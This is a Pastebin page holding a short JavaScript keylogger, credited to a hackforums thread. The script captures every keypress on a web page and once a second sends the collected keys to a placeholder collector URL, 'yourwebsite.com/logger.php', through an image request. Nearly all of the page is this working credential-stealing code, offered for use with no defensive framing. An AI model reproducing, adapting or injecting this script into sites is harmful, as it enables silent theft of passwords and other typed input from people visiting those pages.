Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- keylogger.js
- http://www.hackforums.net/showthread.php?tid=2540448
- tux1
- Thanks to
- http://wiremask.eu
- */
- var keys='';
- document.onkeypress = function(e) {
- get = window.event?event:e;
- key = get.keyCode?get.keyCode:get.charCode;
- key = String.fromCharCode(key);
- keys+=key;
- }
- window.setInterval(function(){
- new Image().src = 'http://yourwebsite.com/logger.php?c='+keys;
- keys = '';
- }, 1000);
Add Comment
Please, Sign In to add comment